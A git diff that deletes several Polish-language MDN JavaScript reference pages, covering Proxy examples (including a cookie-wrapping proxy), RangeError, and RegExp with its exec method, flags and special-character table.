-console.log(i2.getAttribute('aria-selected')); // 'true'
- -

Korekcja wartości i dodatkowych atrybutów

- -

Obiekt proxy products wylicza przekazaną wartość i konwertuje to tablicy w razie potrzeby. Obiekt dodatkowo obsługuje dodatkowy atrybut latestBrowser zarówno jako getter i setter.

- -
let products = new Proxy({
-  browsers: ['Internet Explorer', 'Netscape']
-},
-{
-  get: function(obj, prop) {
-    // An extra property
-    if (prop === 'latestBrowser') {
-      return obj.browsers[obj.browsers.length - 1];
-    }
-
-    // The default behavior to return the value
-    return obj[prop];
-  },
-  set: function(obj, prop, value) {
-    // An extra property
-    if (prop === 'latestBrowser') {
-      obj.browsers.push(value);
-      return true;
-    }
-
-    // Convert the value if it is not an array
-    if (typeof value === 'string') {
-      value = [value];
-    }
-
-    // The default behavior to store the value
-    obj[prop] = value;
-
-    // Indicate success
-    return true;
-  }
-});
-
-console.log(products.browsers); // ['Internet Explorer', 'Netscape']
-products.browsers = 'Firefox'; // przekazano string (przez pomyłkę)
-console.log(products.browsers); // ['Firefox'] <- nie ma problemu, wartość jest typu array
-
-products.latestBrowser = 'Chrome';
-console.log(products.browsers); // ['Firefox', 'Chrome']
-console.log(products.latestBrowser); // 'Chrome'
- -

Wyszukiwanie elementu tablicy po jego właściwości

- -

Poniższe proxy rozszerza tablicę o różne użyteczne funkcjonalności. Jak widać, można elastycznie "definiować" właściwości bez użycia Object.defineProperties. Ten przykład może być użyty aby znaleźć wiersz tabeli po jego komórce. W takim przypadku, celem będzie table.rows.

- -
let products = new Proxy([
-  { name: 'Firefox', type: 'browser' },
-  { name: 'SeaMonkey', type: 'browser' },
-  { name: 'Thunderbird', type: 'mailer' }
-],
-{
-  get: function(obj, prop) {
-    // domyślnym zachowaniem jest zwrócenie wartości; prop jest zwykle typu integer
-    if (prop in obj) {
-      return obj[prop];
-    }
-
-    // zwróć liczbę produktów; alias dla products.length
-    if (prop === 'number') {
-      return obj.length;
-    }
-
-    let result, types = {};
-
-    for (let product of obj) {
-      if (product.name === prop) {
-        result = product;
-      }
-      if (types[product.type]) {
-        types[product.type].push(product);
-      } else {
-        types[product.type] = [product];
-      }
-    }
-
-    // znajdź product po nazwie
-    if (result) {
-      return result;
-    }
-
-    // znajdź produkty po typie
-    if (prop in types) {
-      return types[prop];
-    }
-
-    // zwróć typy produktów
-    if (prop === 'types') {
-      return Object.keys(types);
-    }
-
-    return undefined;
-  }
-});
-
-console.log(products[0]); // { name: 'Firefox', type: 'browser' }
-console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
-console.log(products['Chrome']); // undefined
-console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
-console.log(products.types); // ['browser', 'mailer']
-console.log(products.number); // 3
-
- -

Pełna lista przykładów pułapek

- -

W celu stworzenia pełnej listy przykładów pułapek, w celach dydaktycznych, spróbujemy zastosować proxy nanie natywnym obiekcie który się szczególnie nadaje do tego typu operacji: globalny obiekt docCookies stworzony przez "mały framework" opublikowany na stronie document.cookie.

- -
/*
-  var docCookies = ... pobranie obiektu "docCookies" tutaj:
-  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
-*/
-
-var docCookies = new Proxy(docCookies, {
-  get: function (oTarget, sKey) {
-    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
-  },
-  set: function (oTarget, sKey, vValue) {
-    if (sKey in oTarget) { return false; }
-    return oTarget.setItem(sKey, vValue);
-  },
-  deleteProperty: function (oTarget, sKey) {
-    if (sKey in oTarget) { return false; }
-    return oTarget.removeItem(sKey);
-  },
-  enumerate: function (oTarget, sKey) {
-    return oTarget.keys();
-  },
-  ownKeys: function (oTarget, sKey) {
-    return oTarget.keys();
-  },
-  has: function (oTarget, sKey) {
-    return sKey in oTarget || oTarget.hasItem(sKey);
-  },
-  defineProperty: function (oTarget, sKey, oDesc) {
-    if (oDesc && 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); }
-    return oTarget;
-  },
-  getOwnPropertyDescriptor: function (oTarget, sKey) {
-    var vValue = oTarget.getItem(sKey);
-    return vValue ? {
-      value: vValue,
-      writable: true,
-      enumerable: true,
-      configurable: false
-    } : undefined;
-  },
-});
-
-/* Cookies test */
-
-console.log(docCookies.my_cookie1 = 'First value');
-console.log(docCookies.getItem('my_cookie1'));
-
-docCookies.setItem('my_cookie1', 'Changed value');
-console.log(docCookies.my_cookie1);
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- - - -

{{Compat("javascript.builtins.Proxy", 2)}}

- -

Zobacz również

- - - -

Licensing note

- -

Some content (text, examples) in this page has been copied or adapted from the ECMAScript wiki which content is licensed CC 2.0 BY-NC-SA.

diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html deleted file mode 100644 index 13c2981e8d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: RangeError -slug: Web/JavaScript/Referencje/Obiekty/RangeError -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError ---- -
{{JSRef}}
- -

Obiekt RangeError wskazuje na błąd, gdy wartość jest poza zakresem dozwolonych wartości.

- -

Składnia

- -
new RangeError([message[, fileName[, lineNumber]]])
- -

Parametry

- -
-
message
-
Opcjonalne. Czytelny opis błędu.
-
fileName {{non-standard_inline}}
-
Opcjonalne. Nazwa pliku zawierającego kod, któy wywołał wyjątek.
-
lineNumber {{non-standard_inline}}
-
Opcjonalne. Numer linii kodu, gdzie wywołany został wyjątek.
-
- -

 

- -

Opis

- -

RangeError rzucany jest podczas próby przesłaniu numeru, jako argumentu do funkcji, która nie pozwala na zakresy zawierające ten numer. To może zdarzyć się podczas próby stworzenia listy (array) o niedozwolonej długości za pomocą konstruktora {{jsxref("Array")}}, lub podczas wywołania metod {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} lub {{jsxref("Number.toPrecision()")}} z przekazaną złą wartością.

- -

 

- -

Właściwości

- -
-
{{jsxref("RangeError.prototype")}}
-
Pozwala na dodanie właściwości do obiektu RangeError.
-
- -

Metody

- -

RangeError nie posiada metod jako takich, ale dziedziczy pewne metody z łańcucha prototypów.

- -

Instancje RangeError

- -

Właściwości

- -
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Właściwości')}}
- -

Metody

- -
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Metody')}}
- -

Przykłady

- -

Użycie RangeError

- -
var check = function(num) {
-  if (num < MIN || num > MAX) {
-    throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX);
-  }
-};
-
-try {
-  check(500);
-}
-catch (e) {
-  if (e instanceof RangeError) {
-    // Handle range error
-  }
-}
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ES6')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html deleted file mode 100644 index 38c00cc45b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: RangeError.prototype -slug: Web/JavaScript/Referencje/Obiekty/RangeError/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/RangeError -translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---- -
{{JSRef}}
- -

Właściwość RangeError.prototype reprezentuje prototyp konstuktora {{jsxref("RangeError")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis 

- -

Wszystkie instancje {{jsxref("RangeError")}} dziedziczą z prototyup RangeError. Możesz użyć prototypu, by dodać właściwości lub metody do wszystkich instancji.

- -

Właściwości

- -
-
RangeError.prototype.constructor
-
Funkcja, która tworzy prototyp instancji.
-
{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}
-
Wiadomość błędu. Chociaż specyfikacja ECMA-262 mówi,  że {{jsxref("RangeError")}} powinien dostarczyć swoją własną właściwość message, w SpiderMonkey, dziedziczy z {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}
-
Nazwa błędu, dziedziczona z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}
-
Ścieżka do pliku, w którym wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}
-
Numer linii, gdzie wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}
-
Numer kolumny w linii, gdzie wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}
-
Ślad stosu. Dziedziczone z {{jsxref("Error")}}.
-
- -

Metody

- -

Chociaż prototyp {{jsxref("RangeError")}} nie zawiera metod jako taki, instancja {{jsxref("RangeError")}} dziedziczy pewne metody z łańcucha prototypów.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Defined as NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Defined as NativeError.prototype.
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html deleted file mode 100644 index 618ec13d69..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: RegExp.prototype.exec() -slug: Web/JavaScript/Referencje/Obiekty/RegExp/exec -tags: - - JavaScript - - Method - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec ---- -

{{ JSRef }}

- -

Podsumowanie

- -

Wykonuje operacje wyszukiwania danego łańcucha znaków. Wynikiem jest macierz.

- -

Składnia

- -
regexObj.exec(str)
- -

 

- -

Parametry

- -
-
str 
-
Łańcuch znaków, do którego ma być porównane wyrażenie.
-
- -

Opis

- -

Jak wynika z opisu składni metoda exec może być wywołana w sposób bezpośredni (za pomocą regexp.exec(str)) lub pośredni (za pomocą regexp(str)).

- -

Jeśli wynik będzie pozytywny metoda exec zwróci macierz oraz zaktualizuje własności obiektu. W przeciwnym wypadku zostanie zwrócone null.

- -

Przejrzyj poniższy przykład:

- -
//Znajdź pojedyncze "d" poprzedzone przez jedno lub więcej "b", po których następuje pojedyncze "d"
-//Zapamiętaj znalezione "b" oraz następujące "d"
-//Ignoruj wielkość liter
-var re=/d(b+)(d)/ig;
-var myArray = re.exec("cdbBdbsbz");
-
- -

Poniższa tabela pokazuje rezultaty wygenerowane przez skrypt:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ObiektWłaściwość/IndeksOpisPrzykład
myArray Zawartość myArray.[ \"dbBd\", \"bB\", \"d\"') ]
indexIndeks wyszukania łańcucha znaków rozpoczynający się od 0.1
inputCiąg bazowy.cdbBdbsbz
[0]Ostatnie odnalezione znaki.dbBd
[1], ...[n ]Wyszukane podłańcuch w nawiasach. Liczba możliwych podłańcuch jest nieokreślona.[1] = bB
- [2] = d
myRelastIndexIndeks, od którego rozpocząć nowe wyszukiwanie.5
ignoreCaseWskazuje czy flaga "i" została użyta.true
globalWskazuje czy flaga "g" została użyta do globalnego przeszukiwania.true
multilineWskazuje czy flaga "m" została użyta do globalnego przeszukiwania.false
sourceTekst wyszukiwanego łańcucha znaków.d(b+)(d)
- -

Jeżeli twoje wyrażenie regularne korzysta z flagi "g", możesz wielokrotnie używać metody exec() aby porównać je z tym samym ciągiem znaków. W takim wypadku porównywanie rozpoczyna się od elementu zdefiniowanego jako lastIndex. Na przykład:

- -
var myRe = /ab*/g;
-var str = 'abbcdefabh';
-var myArray;
-while ((myArray = myRe.exec(str)) !== null) {
-  var msg = 'Found ' + myArray[0] + '. ';
-  msg += 'Next match starts at ' + myRe.lastIndex;
-  console.log(msg);
-}
- -

Skrypt ten wyświetli następujący tekst:

- -
Found abb. Next match starts at 3
-Found ab. Next match starts at 9
-
- -

Przykłady

- -

Przykład: Zastosowanie exec()

- -

You can also use exec() without creating a {{jsxref("RegExp")}} object:

- -
var matches = /(hello \S+)/.exec('This is a hello world!');
-console.log(matches[1]);
- -

This will display an alert containing 'hello world!'.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html deleted file mode 100644 index e393cbeed0..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: RexExp.prototype.global -slug: Web/JavaScript/Referencje/Obiekty/RegExp/global -tags: - - JavaScript - - Property - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global ---- -
{{JSRef("Global_Objects", "RegExp")}}
- -

Podsumowanie

- -

Określa czy z wyrażeniem regularnym została użyta flaga "g".

- -
{{js_property_attributes(0, 0, 1)}}
- -

Opis

- -

global jest własnością pojedynczego obiektu wyrażenia regularnego.

- -

Wartość global wynosi true, jeśli użyta została flaga "g"; w przeciwnym przypadku będzie to wartość false. Flaga "g" wskazuje, że wyrażenie regularne powinno zostać sprawdzone w stosunku do wszystkich możliwych wyników w łańcuchu znaków.

- -

Tej własności nie można zmieniać bezpośrednio.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html deleted file mode 100644 index f847bf1221..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: RegExp.prototype.ignoreCase -slug: Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase -tags: - - JavaScript - - Property - - RegExp - - protype -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase ---- -

{{JSRef}}

- -

Podsumowanie

- -

Określa czy z wyrażeniem regularnym została użyta flaga "i".

- -
{{js_property_attributes(0, 0, 1)}}
- -

Opis

- -

ignoreCase jest własnością pojedynczego obiektu wyrażenia regularnego.

- -

Wartość ignoreCase wynosi true, jeśli użyta została flaga "i"; w przeciwnym przypadku będzie to wartość false. Flaga "i" wskazuje, że wielkość znaków ma być ignorowana podczas dokonywania porównań w łańcuchu znaków.

- -

Tej własności nie można zmieniać bezpośrednio.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/index.html deleted file mode 100644 index 7fb605c26f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/index.html +++ /dev/null @@ -1,383 +0,0 @@ ---- -title: RegExp -slug: Web/JavaScript/Referencje/Obiekty/RegExp -tags: - - Constructor - - JavaScript - - RegExp - - Regular Expressions -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp ---- -

{{JSRef}}

- -

Podsumowanie

- -

Obiekt wyrażeń regularnych (ang. regular expression) zawiera wzór regularnego wyrażenia. Posiada ono właściwości i metody, które umożliwiają znalezienie lub zmianę ciągu znaków w innym ciągu znaków.

- -

W dodatku do właściwości pojedynczego obiektu wyrażenia regularnego, które tworzysz używając funkcji konstruktora RegExp, predefiniowany obiekt RegExp posiada własności statyczne, które są ustawione, kiedy jakiekolwiek wyrażenie regularne jest użyte.

- -

Tworzony przez

- -

Odpowiednik tekstowy lub funkcja-konstruktor RegExp.

- -

Odpowiednik tekstowy jest używany jak poniżej:

- -
/wzór/flagi
-
- -

Konstruktor jest używany jak poniżej:

- -
new RegExp("wzór"[, "flagi"])
-
- -

Parametry

- -
-
wzór
-
Tekst wyrażenia regularnego.
-
flagi
-
Jeśli podane, flagi mogą mieć jakąkolwiek kombinację poniższych wartości: g - wyszukiwanie globalne, i - ignoruje wielkość liter, m - wyszukiwanie w wielu liniach.
-
- -

Zauważ, że parametry w formacie tekstowym nie używają cudzysłowu do oznaczenia ciągów znaków, kiedy parametry funkcji konstruktora używają cudzysłów. Tak, więc poniższe wyrażenia tworzą to samo wyrażenie regularne:

- -
/ab+c/i;
-new RegExp("ab+c", "i");
-
- -

Opis

- -

Podczas użycia funkcji konstruktora, standardowe znaki ucieczki (string escape rule, poprzedzanie znaków specjalnych backslash'’ "\" kiedy użyte w ciągu znaków) są wymagane. Na przykład poniższe dwa przykłady są identyczne:

- -
re = new RegExp("\\w+");
-re = /\w+/;
-
- -

Znaki specjalne w wyrażeniach regularnych

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ZnakZnaczenie
\ -

Dla znaków które zwykle są traktowane dosłownie, oznacza że następny znak jest specjalny i nie ma być interpretowany standardowo.

- -

Na przykład, /b/ szuka znaku "b". Wstawiając backslash (\) przed b, to jest używając /\b/, znak staje się specjalny "znajdź granicę wyrazu".

- -

-lub-

- -

Dla znaków, które zwykle są traktowane jako specjalne oznacza, że następny znak jest zwykły powinien być interpretowany dosłownie.

- -

Na przykład, * jest znakiem specjalnym oznaczającym 0 lub więcej wystąpień poprzedzającego znaku powinno być znalezionych; na przykład, /a*/ oznacza "znajdź 0 lub więcej znaków a". Aby znaleźć dosłownie *, poprzedź ten znak backslashem (\), na przykład /a\*/ znajduje "a*".

-
^ -

Znajduje początek wejścia. Jeśli flaga wielu linii (ang. multiline) jest ustawiona na prawda (true), znajduje również od razu po znaku nowej linii.

- -

Na przykład, /^B/ nie znajdzie "B" w "Andrzej B" ale znajdzie "B" w "Bogusław A".

-
$ -

Oznacza koniec wejścia. Jeśli flaga wielu linii (ang. multiline) jest ustawiona na prawda (true), znajduje również bezpośrednio przed znakiem końca linii.

- -

Na przykład, /a$/ nie znajdzie "a" w "mrówkojad" ale znajdzie "a" w "mrówka".

-
* -

Znajduje poprzedzającą pozycję 0 lub więcej razy.

- -

Na przykład, /bu*/ znajdzie "buuuu" w "Duch krzyknął buuuu" i "b" w "Głośnik zabrzmiał basowo" ale nic w "Ptak zaśpiewał".

-
+ -

Znajduje poprzedzającą pozycję 1 lub więcej razy. Równoważne do {1,}.

- -

Na przykład, /r+/ dopasuje się do "r" w "cukierek" i do wszystkich "r" w "cukierrrrrrrek".

-
? -

Znajduje poprzedzającą pozycję 0 razy lub 1 raz.

- -

Na przykład /o?ąt?/ znajdzie "oł" w "anioł" i "ąt" w "kąt".

- -

Jeśli zostanie użyte zaraz po którymś ze znaków *, +, ?, lub {}, to wymusza przejście do trybu niezachłannego (domyślne jest dopasowanie zachłanne), czyli dopasowanie następuje do najmniejszego ciągu spełniającego wyrażenie, a nie do największego.

- -

Pytajnik używany jest także w lookahead assertions, opisanych pod (?=), (?!) i (?:) w tej tabeli.

-
. -

(Kropka) znajduje jakikolwiek pojedynczy znak poza znakiem nowej linii.

- -

Na przykład, /.a/ znajdzie "ja" i "na" w "jabłko rośnie na drzewie ale arbuz nie", ale nie znajdzie "al" i "ar".

-
(x) -

Znajduje "x" i zapamiętuje to dopasowanie. Nazywa się to "nawiasy wychwytujące" (ang. capturing parentheses).

- -

Na przykład, /(foo)/ znajduje i zapamiętuje "foo" w "foo bar". Znaleziony pod-ciąg (substring) może być ponownie wywołany elementów tablicy wynikowej 1, ..., n jak również z predefiniowanych własności obiektu RegExp, $1, ..., $9.

-
(?:x) -

Znajduje "x", ale nie pamięta dopasowania. Nazywa się to "nawiasy niewychwytujące" (ang. non-capturing parentheses). Znaleziony podciąg (substring) nie może być wywołany ponownie z elementów wynikowych tablicy 1, ..., n ani za pomocą właściwości obiektu RegExp, $1, ..., $9.

-
x(?=y) -

Znajduje "x", tylko wtedy, gdy zaraz po "x" jest "y". Na przykład, /Jacek(?=Szprotka)/ znajdzie "Jacek" tylko, jeśli zaraz po tym jest wyraz "Szprotka". /Jacek(?=Szprotka|Mróz)/ znajdzie "Jacek" tylko, jeśli po tym jest zaraz wyraz "Szprotka" lub "Mróz"). Jednakże, ani "Szprotka" ani "Mróz" nie jest częścią wyników.

-
x(?!y) -

Znajduje "x", tylko, jeśli po "x" nie ma "y". Na przykład, /\d+(?!\,)/ zostanie dopasowane do liczby całkowitej, tylko jeśli nie ma po niej przecinka.

- -

/\d+(?!\,)/.exec("3,141") zostanie dopasowane tylko do 141, nie zostanie dopasowane do 3, bo wystąpił po niej przecinek.

-
x|y -

Znajduje "x" lub "y".

- -

Na przykład, /zielone|czerwone/ znajdzie "zielone" w "zielone jabłko" i "czerwone" w "czerwone jabłko".

-
{n} -

Gdzie n jest dodatnią liczbą całkowitą. Znajduje dokładnie n wystąpień poprzedzającej pozycji.

- -

Na przykład, /u{2}/ nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i pierwsze dwa "u" w "cuuukierek".

-
{n,} -

Gdzie n jest dodatnią liczbą całkowitą. Znajduje, co najmniej n wystąpień poprzedzającej pozycji.

- -

Na przykład, /u{2,}/ nie znajdzie "u" w "cukierek", ale znajdzie wszystkie "u" w "cuukierek" i w "cuuukierek".

-
{n,m} -

Gdzie n i m są pozytywnymi liczbami całkowitymi. Wyszukuje, co najmniej n i co najwyżej m wystąpień poprzedzającego wyrażenia.

- -

Na przykład, /u{1,3}/ nie znajdzie niczego w "ckierek", znajdzie "u" w "cukierek", znajdzie dwa "u" w "cuukierek" i pierwsze trzy "u" w "cuuuuukierek". Zauważ, że podczas wyszukiwania w "cuuuuukierek", wynik wyszukiwania to "uuu" mimo iż ciąg oryginalny zawiera więcej liter "u".

-
xyz -

Zestaw znaków. Wyszukuje jakikolwiek z podanych znaków. Możesz podać przedział znaków używając myślnika.

- -

Na przykład, abcd oznacza tyle samo, co a-d. Wyrażenia te znajdą "b" w "buziak" i "d" w "kasza".

-
^xyz -

Przeciwny zestaw znaków. Wyszukuje cokolwiek, co nie jest wewnątrz nawiasów. Podobnie jak powyżej można podać zakres znaków używając myślnika.

- -

Na przykład, ^abc oznacza tyle samo, co ^a-c. Wyrażenia te znajdą "u" w "buziak" i "k" w "kasza".

-
\\b -

Wyszukuje znak backspace (nie mylić z \b).

-
\b -

Wyszukuje granicę wyrazów (ang. word boundary), jak na przykład spację (nie mylić z \\b).

- -

Na przykład, /\bn\w/ zaznaczy "no" w "noonday"; /\wy\b/ zaznaczy "ly" w "possibly yesterday".

-
\B -

Znajduje brak granicy niewyrazu (ang. non-word boundary).

- -

Na przykład, /\w\Bn/ zaznaczy "on" w "noonday", a /y\B\w/ zaznaczy "ye" w "possibly yesterday".

-
\cX -

Gdzie X jest literą od A do Z. Zaznacza znak kontrolny w ciągu.

- -

Na przykład, /\cM/ zaznaczy control-M w stringu.

-
\d -

Znajduje cyfrę. Odpowiednik 0-9.

- -

Na przykład, /\d/ lub /0-9/<code> zaznaczy "2" w "B2 jest numerem pokoju". </td> </tr>

-
\D -

Wyszukuje jakikolwiek znak nieliczbowy. Odpowiednik ^0-9') }}.

- -

Na przykład, /\D/ lub /^0-9/ zaznaczy "B" w "B2 jest numerem pokoju".

-
\f -

Znajduje znak wysuwu wiersza (form feed).

-
\n -

Znajduje znak następnego wiersza (line feed).

-
\r -

Znajduje znak powrotu karetki (carriage return).

-
\s -

Znajduje pojedynczy biały znak (ang. white space character), wliczając w to spację, tabulator, znak wysuwu wiersza, znak następnego wiersza. Odpowiednik \\f\\n\\r\\t\\u00A0\\u2028\\u2029.

- -

Na przykład, /\s\w*/ zaznaczy " bar" w "foo bar".

-
\S -

Zaznacza jakikolwiek znak inny niż biały (ang. white space). Odpowiednik ^ \\f\\n\\r\\t\\u00A0\\u2028\\u2029.

- -

Na przykład, /\S/\w* zaznaczy "foo" w "foo bar".

-
\t -

Znajduje tabulator.

-
\v -

Znajduje pionowy tabulator (ang. vertical tab).

-
\w -

Znajduje jakikolwiek znak alfanumeryczny i znak podkreślenia _. Odpowiednik A-Za-z0-9_.

- -

Na przykład, /\w/ zaznaczy "j" w "jabłko", "5" w "??5.28", i "3" w "3D".

-
\W -

Zaznaczy jakikolwiek znak niewyrazowy. Odpowiednik ^A-Za-z0-9_.

- -

Na przykład, /\W/ lub /^$A-Za-z0-9_/ znajdzie "%" w "50%".

-
\n -

Gdzie n jest pozytywną liczbą całkowitą. Odwołanie wsteczne (ang. back reference) do ostatniego podciągu (substring) pasującego do n wyrażenia umieszczonego w nawiasie (licząc od nawiasu otwierającego "(").

- -

Na przykład, /jabłko(,)\spomarańcz\1/ pasuje do "jabłko, pomarańcz," w "jabłko, pomarańcz, wiśnia, brzoskwinia". Dokładniejszy przykład znajduje się po tabeli.

-
\0 -

Wyszukuje znak NUL. Bezpośrednio po \0 nie powinna znajdować się żadna liczba.

-
\xhh -

Znajduje znak o kodzie hh (dwie cyfry szesnastkowe)

-
\uhhhh -

Znajduje znak o kodzie hhhh (cztery cyfry szesnastkowe).

-
- -

Notacja tekstowa zostaje skompilowana, kiedy wyrażenie regularne jest wykonane. Używaj notacji tekstowej wtedy, kiedy wyrażenie regularne pozostanie niezmienione. Na przykład, jeśli użyjesz notacji tekstowej do konstrukcji wyrażenia regularnego w pętli, wyrażenie to nie zostanie przekompilowane podczas każdej iteracji.

- -

Konstruktor obiektu wyrażenia regularnego, na przykład new RegExp("ab+c"), pozwala na kompilację podczas czasu wykonywania (ang. runtime compilation) wyrażenia. Używaj funkcji konstruktora, kiedy wiesz, że wzór wyrażenia regularnego będzie się zmieniać lub gdy nie znasz tego wzoru i pobierasz go z innego źródła, jak na przykład wejście użytkownika.

- -

Oddzielny predefiniowany obiekt RegExp jest dostępny dla każdego okna, to jest każdy oddzielny wątek uruchomienia JavaScriptu dostaje jego własny obiekt RegExp. Jako że każdy skrypt uruchamiany jest cały w oddzielnym wątku, zapewnia to, iż oddzielne skrypty nie nadpisują wartości obiektu RegExp.

- -

Własności

- -
-
{{jsxref("RegExp.prototype")}}
-
Pozwala na dodanie własności wszystkim obiektom.
-
RegExp.length
-
Wartość parametru RegExp.length wynosi 2.
-
{{jsxref("RegExp.lastIndex")}}
-
Indeks, od którego rozpoczynać następne szukanie.
-
- -

Metody

- -

Globalny objekt RegExp nie posiada własnych metod, jednam może dziedziczyć metody z innych obiektów.

- -

Przykłady

- -

Przykład: Zastosowanie metody replace

- -

Poniższy przykład używa metodę replace do zamiany wyrazów w ciągu (stringu). Podczas zamiany tekstu, skrypt używa "$1" i "$2" do oznaczenia wyników odpowiadających im nawiasów we wzorze wyrażenia regularnego.

- -
var re = /(\w+)\s(\w+)/;
-var str = "Jan Kowalski";
-var newstr = str.replace(re, "$2, $1");
-document.write(newstr);
-
- -

Wyświetli "Kowalski, Jan".

- -

Zobacz także

